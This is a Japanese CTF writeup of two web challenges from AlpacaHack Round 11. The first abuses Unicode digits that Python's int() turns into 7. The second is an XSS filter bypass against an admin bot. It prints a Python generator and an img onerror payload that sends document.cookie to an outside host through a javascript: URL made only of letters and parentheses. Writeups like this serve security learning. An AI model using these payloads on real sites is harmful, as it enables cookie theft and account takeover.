st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

AlpacaHack Round 11 (Web) writeup

5/17に6時間だけ開催された。4問が出題されたうち、2問を問いて6位。残りのTiny NoteとAlpacaMarkも解きたかったなあ。


[Web 122] Jackpot (63 solves)

🎰 Slot Machine 🎰

(問題サーバのURL)

添付ファイル: jackpot.tar.gz

与えられたURLにアクセスすると、次のようなスロットマシンが表示される。下部になぜか数字を入力できるフォームもある。

コードは次の通り。シンプルだ。フォームで入力した数字のリストからランダムに15個選ばれ(重複あり)、ここで 7 が15個揃うとフラグがもらえるらしい。さすがに運だけでは無理だ。

数字のリストについては、以下の通りの制約がある。これらのチェックが済み次第、int で文字から数値に変換される。じゃあなんで 0123456789 で決め打ちにしていないんですか? と思ってしまう。

  • すべて数字でなければならない
  • 10種類以上の文字が含まれていなければならない
  • 文字に重複があってはならない
  • 最初の10文字より後ろは無視される
from flask import Flask, request, render_template, jsonify
from werkzeug.exceptions import BadRequest, HTTPException
import os, re, random, json

app = Flask(__name__)
FLAG = os.getenv("FLAG", "Alpaca{dummy}")


def validate(value: str | None) -> list[int]:
    if value is None:
        raise BadRequest("Missing parameter")
    if not re.fullmatch(r"\d+", value):
        raise BadRequest("Not decimal digits")
    if len(value) < 10:
        raise BadRequest("Too little candidates")

    candidates = list(value)[:10]
    if len(candidates) != len(set(candidates)):
        raise BadRequest("Not unique")

    return [int(x) for x in candidates]


@app.get("/")
def index():
    return render_template("index.html")


@app.get("/slot")
def slot():
    candidates = validate(request.args.get("candidates"))

    num = 15
    results = random.choices(candidates, k=num)

    is_jackpot = results == [7] * num  # 777777777777777

    return jsonify(
        {
            "code": 200,
            "results": results,
            "isJackpot": is_jackpot,
            "flag": FLAG if is_jackpot else None,
        }
    )


@app.errorhandler(HTTPException)
def handle_exception(e):
    response = e.get_response()
    response.data = json.dumps({"code": e.code, "description": e.description})
    response.content_type = "application/json"
    return response


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=3000)

最近、といっても去年の話だけれども、Pythonの isnumeric の挙動が話題になっていたなあと思い出す。\d にマッチし、また int に渡されると 7 となるような文字が10個ぐらいないだろうか。次のスクリプトで探そう。

s = ''
for c in range(0x100000):
    a = chr(c)
    try:
        if int(a) == 7:
            s += a
            if len(s) == 10:
                break
    except:
        pass
print(s)

実行すると、次のような文字列が出てきた。いっぱいあるなあ。

$ python3 s.py 
7٧۷߇७৭੭૭୭௭

これを入力するとフラグが得られた。

[Web 341] Redirector (6 solves)

It's just a redirector.

(問題サーバとadmin botのURL)

添付ファイル: redirector.tar.gz

admin botもいるあたり、たぶんXSSのようなクライアント側の攻撃を必要とするのだろうなあと考える。このアプリは非常にシンプルで、次のようにURLを入力するフォームがあり、これを送信すると /?next=https://example.com のようなURLにリダイレクトされる。そこからさらに https://example.com へリダイレクトされるというような流れだ。

admin botのコードで重要な箇所は次の通り。ユーザが通報したURLを見に行くだけだ。また、問題サーバのドメインで FLAG というCookieを保存している。httpOnly は設定されていないので、JSから document.cookie にアクセスするとフラグが得られるはずだ。

    await context.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });

    const page = await context.newPage();
    await page.goto(url, { timeout: 5_000 });
    await sleep(5_000);
    await page.close();

フロントエンドのコードは非常にシンプルとなっている。重要な箇所は次の通り。next というクエリパラメータがあればそこにリダイレクトしてくれる。ただし、次のようなチェックがある。スキームのチェックはないので javascript:alert(123) のようなことができるけれども、これらのチェックのおかげで document.cookie を外部に持ち出すコードの実行は難しい。

  1. パス、クエリパラメータ、フラグメント識別子がいずれも(1文字目を除いて)英数字またはカッコのみから構成されている
  2. location, name, cookie, eval, Function, constructor, % がURLに含まれていない

1個目のチェックはホスト名やユーザ名等にJSコードを仕込めばよいのではと思ってしまうが、URL にそれらのパーツとして認識してもらうには http://a:b@example.com のように // を使わなければならない。JSでは // はコメントを意味するので、それ以降の肝心の部分がコメントアウトされてしまい困る*1

2個目のチェックは、eval(name) のようなstager的なコードが使えないよう塞いでいるのだろう。

(() => {
  const next = new URLSearchParams(location.search).get("next");
  if (!next) return;

  const url = new URL(next, location.origin);
  const parts = [url.pathname, url.search, url.hash];

  if (parts.some((part) => /[^\w()]/.test(part.slice(1)))) {
    alert("Invalid URL 1");
    return;
  }
  if (/location|name|cookie|eval|Function|constructor|%/i.test(url)) {
    alert("Invalid URL 2");
    return;
  }

  location.href = url;
})();

ならば正面から突破しよう。英数字とカッコでJSを書くというお題で思い出したのは、昔Harekaze CTF 2019で出題した[a-z().] だった。terjanqさんがこれをもとにJS-Alphaというコードを書いてくれて、これはなんと英小文字と .() だけでJSの任意のコードを実行できるようにしてくれる。

適当なコードを変換すると、with(escape())eval(unescape(match().concat(…))) のように、with 文や String.prototype.concat を駆使して任意の文字列を生成していることがわかる。. は、数字が禁止されているので仕方なく適当な文字列のメソッドを呼び、その length を参照するということをするために使っているだけだから、今回の問題ではそれらを普通の数値に置き換えてやればよい。

文字列同士の結合に concat を使っており、ここでも . を使っているけれども、それは with(String)with(String())with(concat(fromCharCode(0x41)))concat(fromCharCode(0x42)) のように with を連続で使ってやれば置き換えられる。

あとは eval をどうやって実現するかだ。innerHTML 相当のことができればよいのではないかと考え、DocumentFragment を作成する方法として document.createRange().createContextualFragment を思いつく*2

ということで、これらをまとめてJSコードを変換してくれるようなコードを書く。

payload = '''
<img src=x onerror="location.href='http://example.com/?' + document.cookie">
'''.strip()
encoded = 'with(String)with(fromCharCode())'
for c in payload[:-1]:
    encoded += 'with(concat(fromCharCode(' + str(ord(c)) + ')))'
encoded += 'createContextualFragment(concat(fromCharCode(' + str(ord(payload[-1])) + ')))'
print('http://redirector:3000?next=javascript:' + '''with(document)with(createRange())''' + encoded)

出力されたURLを通報すると、フラグが得られた。

*1:なお、maple3142さんはU+2028をその直後に仕込むことで回避していた。私も試していたはずなんだけどな~と思ったが、よくよく考えると私が試していたのはU+2027だった。なんでやねん

*2:もっとストレートな解法としてsetTimeoutやsetIntervalがあった